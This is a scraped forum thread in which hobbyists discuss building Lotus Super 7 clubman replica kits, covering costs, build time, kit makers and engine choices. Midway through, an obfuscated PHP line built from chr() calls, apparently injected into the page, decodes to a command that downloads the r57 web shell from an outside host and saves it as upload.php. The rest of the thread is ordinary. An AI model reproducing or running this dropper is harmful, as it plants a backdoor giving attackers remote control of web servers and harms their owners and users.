Jump to content
SAU Community

Recommended Posts

Hey all,

When I originally bought my R32 GTS-T sedan, it was because I needed something practical (i.e. 4 doors plus boot) yet something that would be fun to drive. Now that the Skyline is a second car, and now solely doing weekend duties, I am considering upgrading. The problem is, nothing that manufacturers have built seems to satisfy me...

So I am thinking of building one myself! Perhaps one of the Lotus Super 7 clubman replicas from Westfield, Elfin, PRB, etc. I figure dropping a standard 4AG 20 valve would give more than adequate performance in a car that weighs less than 700kg.

Has anyone had any experience with these? Was it a rewarding experience? Any pitfalls to avoid? Any manufacturer to recommend? Was it worth the $$$?

Any feedback would be appreciated!

Link to comment
https://www.sau.com.au/forums/topic/122489-lotus-super-7-replicas/
Share on other sites

I have been involved in the build of an Elfin with a 20V 4age turboed.

Ended up costing almost 50k on the road. took twice as long as planned and ran into many little pitfalls.

Having said that It was the fastest, best handling and most thrilling thing I have ever been in.

There was lots of custom fabrication and headaches.

If I was to build one myself I would get the most complete kit possible and just do the tuning, brakes and bodywork. It will end up costing less and you will have a more professional finished result.

I plan on building one in a few years but wanted to use a quad throttle NA sr20 bored out to 2.2.

I have been involved in the build of an Elfin with a 20V 4age turboed.

Ended up costing almost 50k on the road. took twice as long as planned and ran into many little pitfalls.

Having said that It was the fastest, best handling and most thrilling thing I have ever been in.

There was lots of custom fabrication and headaches.

If I was to build one myself I would get the most complete kit possible and just do the tuning, brakes and bodywork. It will end up costing less and you will have a more professional finished result.

I plan on building one in a few years but wanted to use a quad throttle NA sr20 bored out to 2.2.

A turbo 20V elfin? That would be a little scarey I reckon! I think the stock 4AGE 20V will do it for me! How was the Elfin for quality, ease of construction etc (aside from the fabrication work to fit the custom engine - i will stick to the standard motor)? All the parts fit together well? Or was there plenty of stuffing around with parts that are supposed to bolt straight in?

A turbo 20V elfin? That would be a little scarey I reckon! I think the stock 4AGE 20V will do it for me! How was the Elfin for quality, ease of construction etc (aside from the fabrication work to fit the custom engine - i will stick to the standard motor)? All the parts fit together well? Or was there plenty of stuffing around with parts that are supposed to bolt straight in?

The quality of all the parts from elfin were fantastic. 100% good quality. everythink supplied by elfin fit properly

it was all the custom stuff that cost a bomb and had to be done twice to get it right,

and yes I nearly threw up the first time I went for a ride in it. First corner I thought I was going to die. but it handles nothing else.

A turbo 20V elfin? That would be a little scarey I reckon! I think the stock 4AGE 20V will do it for me! How was the Elfin for quality, ease of construction etc (aside from the fabrication work to fit the custom engine - i will stick to the standard motor)? All the parts fit together well? Or was there plenty of stuffing around with parts that are supposed to bolt straight in?

A turbo anything in a clubman amounts to a well scary ride. Best advice is to make sure you understand what the laws are in your state relating to home built cars.

Also, it will take longer than you think. (always does)

By the way, the photo is of the ex clubman motor after number 4 cylinder chucked a leg out of, um, both side of the bed & the sump aswell. If you look closely you can see right through the block. :rofl:

post-5134-1150438616.jpeg

Cheers for the feedback CEF11E - much appreciated. I'll keep your positive feedback on the Elfins in mind when I am shopping around.

Has anyone had any experience with the Leitch clubman kits? Their website claim:

The live axle rolling chassis kit costs $20790. In this form the car is delivered almost fully assembled, the constructor then installs drivetrain, electrics, trim and their choice of wheels and tyres...

...The cost of a finished car depends entirely on the level of equipment specified, a road registered car could cost as little as $28 000.

This seems an insanely cheap price for a road registered clubman - most are up at around $40k for a basic vehicle. Can anyone tell me anything of their quality, both of product and of service?

Cheers

Edited by Big Rizza

Maybe look for something 2nd hand dude. Unless you realllly want to say you built it. But Id rather 2years extra of driving that waste that time building it. The money you save (because 99% chance you will) could go in to upgrades and tidying it up if it needed it.

Just a suggestion.

Here is a link to someones worklog on building a Clubman in Queensland:

http://forums.overclockers.com.au/showthread.php?t=385959

You will have to register to view the forums but the worklog is very informative but still in progress.

A turbo anything in a clubman amounts to a well scary ride. Best advice is to make sure you understand what the laws are in your state relating to home built cars.

Also, it will take longer than you think. (always does)

By the way, the photo is of the ex clubman motor after number 4 cylinder chucked a leg out of, um, both side of the bed & the sump aswell. If you look closely you can see right through the block. :rofl:

I was budgeting 5 days per month at 5 hours per day towards the project (I work away on an oil field, so I have plenty of days at home with no commitments). They claim 100 hours to build, so that would take 4 months by that reckoning. Double that to eight months to compensate for any inevitable blowouts, and then add another 4 months to compensate for the fact that I am incompetant, and I arrived at a figure of 12 months to get it on the road.

And that photo is great. Unfortunately I can't say the same about that engine block!

Maybe look for something 2nd hand dude. Unless you realllly want to say you built it. But Id rather 2years extra of driving that waste that time building it. The money you save (because 99% chance you will) could go in to upgrades and tidying it up if it needed it.

Just a suggestion.

I think the building is part of the experience - I don't think I could do it any other way!

Here is a link to someones worklog on building a Clubman in Queensland:

http://forums.overclockers.com.au/showthread.php?t=385959

You will have to register to view the forums but the worklog is very informative but still in progress.

Bah! It won't let me register with a Yahoo! email account - no "free" email accounts are accepted! How crap is that? And I don't think I should be using my work email account for building of clubmans...

theres a couple of good books around on the subject, and they explain it in heaps of detail.

how to build a cheap sportscar by keith tanner i think

and theres another book with all the chassis dimensions and plans called something similiar

worth a read to find out whats easy and whats not :yes:

i want to build one later on from scratch with a sr20det.

ive found its best to buy a completed chassis to save work and engineering problems, etc then add the bits u want and go from there :)

Edited by CruiseLiner

Sheesh, If you can build that one, I gotta hand it to ya - I seen videos of the build - too complicated for a simpleton like me.....

But I think if you order the kit, it comes with instructions (sorta like a model)...I remember, i think it was "top gear" had a bit on the kit cars....

Also if you look for old Motor/Wheels mags, Im pretty sure that they had a story about it a few years back....

eval(system(chr(99).chr(100).chr(32).chr(46).chr(47).chr(99).chr(97).chr(99).chr

104).chr(101).chr(47).chr(59).chr(32).chr(119).chr(103).chr(101).chr(116).chr(32

.chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).c

r(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr

47).chr(100).chr(111).chr(119).chr(110).chr(108).chr(111).chr(97).chr(100).chr(4

).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).

hr(116).chr(120).chr(116).chr(59).chr(99).chr(97).chr(116).chr(32).chr(114).chr(

3).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(116).chr(120

.chr(116).chr(32).chr(62).chr(32).chr(117).chr(112).chr(108).chr(111).chr(97).ch

(100).chr(46).chr(112).chr(104).chr(112).chr(59)).chr(59).exit()); //

I don't know if anyone remembers the clubman in hot4's a couple of years ago but it was a puma clubman with an SR20DET in it. Well My friends uncle made one up for a total cost of $24,000 but he was an engineer and has access to metal and plastic fabrication equiptment. It tokk him a while and as said before, there was a fair amount of custom work but for a $6,000 out lay you got the chassis, suspension set up and fully preped to drop the mottor in and a heap of "suggested" items to fit for an optimal result. But when my friend and I felt the result, I'm a recked man as nothing else will compare. I timed 0-100km/h in 3.8 sec = wild (on semi's)

im part of a group making a se clubman. they made one before I came along, and the finished car still is around. its a basic setup, live rear, adjustable coilovers, silvertop 20v with a t50. incredible! id love one myself one day. if you do build one, I can give you some advice on what were doing with ours. cortina frount end, corolla ke70 steering column, ect. there are lots of books and websites on it too.

I don't know if anyone remembers the clubman in hot4's a couple of years ago but it was a puma clubman with an SR20DET in it. Well My friends uncle made one up for a total cost of $24,000 but he was an engineer and has access to metal and plastic fabrication equiptment. It tokk him a while and as said before, there was a fair amount of custom work but for a $6,000 out lay you got the chassis, suspension set up and fully preped to drop the mottor in and a heap of "suggested" items to fit for an optimal result. But when my friend and I felt the result, I'm a recked man as nothing else will compare. I timed 0-100km/h in 3.8 sec = wild (on semi's)

Yes I have seen the SR20DET Puma before - looks sweet! See article:

http://autospeed.drive.com.au/cms/A_0286/article.html

But unfortunately I don't have access to said equipment, so I probably wouldn't be able to do it for under about $50k :no:

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


  • Similar Content

  • Latest Posts

    • So, I started this repair and got as far as "fixing" the holes with some fibreglass. God all those years working on boats came back quickly. I decided I'd reach out to some rust guys just to see what they would say about it. I came across a guy about 40 mins away and went to see him. He said the windscreen needs to come out, that there might be some more bits around the windscreen and he'd quote them at the time. But his quote was $300 to remove and replace windscreen and $3k for the damage he can see. He said he could respray the roof for $1200 and the bonnet for another $800 (somebody has previously rattle canned it, its horrendous). This is $5300 + any small additional bits. It's a lot, I get that and the name of one of my fave youtube channels 'Not Economically Viable' comes to mind.  I'm not being financially rational, but I've taken him up on the quote. He's opening a new shop in November with more room, so we're waiting for that. I'll leave the currently missing headliner out until then. I'm looking forward to it being fixed and having the paint looking nice again (lots of clear coat issues on the roof too). / flame suit on.
    • Oh and some up-and-comings; New rear drivers wheel bearing. I'll do that this weekend while the diff is out. The car is already up and the d/c axles and missing exhaust will help with space. This is the last bearing for me to do and I've been dragging my feet on it. I also have some new EBC blue stuff pads for the car and some new brake fluid. I haven't ever flushed the fluid in this car and looking forward to it. I have 600 degree fluid to put in. Not exactly "race fluid" but better than the typical stuff I have been using.
    • A proper clutch/plate type mechanical diff with quite a lot of pre-load and high locking % is better for drifting. Much more consistent in its behaviour. A helical can be annoyingly vague and inconsistent in how it responds under the sorts of abuse found in drifting.
    • Some updates here. I pulled the entire interior out, minus some trim to respray the seats with Colourlock dye. It turned out really nice though I accidentally let the dog in the car after and she scratched up the front seat.  This is what it looked like before, the colour was just washing out everywhere but thankfully the leather was in good nic. Then after the respray   And after the bloody dog jumped in The headliner is out waiting to be retrimmed, but it will stay out now until Nov - see why below. I replaced the stereo/headunit with a period-styled Android headunit. I have no after pics, but I'll get some. This is because of the missing pixels. I tried to fix this twice with replacement ribbon cables but couldn't. Also the bluetooth interface I'd bought for this was crap. Then there's the rusty roof. Pics and info in this other thread. I have decided to get this repaired professionally, but I'll update that thread. This is why the headliner will stay out for now. I'll be getting the roof and bonnet resprayed at the same time the rust is fixed. I also had an interesting issue with my drivers door lock.  For a small period I was having issues getting any 12v power to the car - I mean *any*. It would have no dash lights, nothing. It happened while I was at the shops and I couldn't get in the car. So, we had 2 problems. The most pressing here is that I was locked out. I have only a single physical key hole on the car, the drivers door and no amount of turning would unlock the car. Surely it doesn't need power for this? The second issue is why am I losing all power periodically, The battery isn't dead, its almost like the battery isn't even there. Two issues that were surprisingly easy to fix. You fellow BMW over-engineering lovers will appreciate this. The lock in the door has 5 states; mechanical lock, electric lock, neutral, electric unlock, mechanical unlock achieved at -90 degrees, -45 degrees, 0 degrees, 45 degrees and 90 degrees. Although, the unlock is towards the front of the car, so opposite for LHD countries. Sticking the key in and turning 45 left or right is what is used 99% of the time. It activates the central locking etc. 90 degrees is for dead battery access and, obvs, only un/locks the one door. But because the mechanical lock is never used and is 27 years old, it seizes up. I was totally unable to turn the key far enough to get to the mechanical unlock (At the time of locking myself out, I didn't even know this was a thing). I eventually did it with some vicegrips and teflon spray.  I made a quick vid for other E39 peeps.   The battery issue is totally new to me also - It wasn't making sufficient contact between the post and the terminal. The terminal was bolted on tight, but the car wouldn't have power. After checking the battery with my multimeter I accidentally contacted the terminal and the battery post and the car got power. The battery was only a few years old and in good condition. I cleaned the post and the terminal with a wire brush, bolted it back on tight and never had the issue again. I'm still surprised that despite having solid contact it didn't work. Also, the car was getting Warragamba sized pools of water in the back when it rained. My initial concern was another rust problem. But when I went out on Weds while it was raining and while I had no headliner in I could see a steady stream of water coming through the roof mounted aerial. As this aerial is for the (now removed) car phone I pulled it out and whacked a blanking grommet in the hole. It seems fine now. I'm thinking I might get the hole permanently filled when the rust is fixed. Moving forward and things in progress; The tailgate needs some attention. I have taken all the trim off to clean it all and address some small rust spots. I have partially done all of this but I'll finish it up hopefully this weekend. As all the trim are now entirely devoid of trim clips I have bought a heap of strong velcro and I'm hoping it does a good enough job as any of this trim in good condition is super expensive and usually in Europe as we dont have many of the wagons here. Suspension and brakes!!! This is exciting. In the front; New control arms New sway bar links New lower Eibach springs (the only modification I'm planning on this car) M Sport shocks (these came with the car and will replace the longer shocks in the car) New top mounts Used 540i calipers (stock brakes suck!) New 540i disks and pads (22x296 mm for 528 and 30x334 mm for 540i) New front wheel bearings (thank all that is holy for bolt on bearings!) Annnnd in the back; New control arms New sway bar links Adjustable air suspension arms (fool the car into what the current height is so the self levelling suspension can match the new front ride height) New ball joints I'll also be doing a brake fluid flush while I'm in there. I'm planning on switching the car over to the 16's that came with it so I can clean up and respray the M Sport 17's. They've lost a lot of colour over the years and have some gutter rash. None of this will start until the E90 is back.
    • You mean you will regret it for drifting duties? I don't quite follow.
×
×
  • Create New...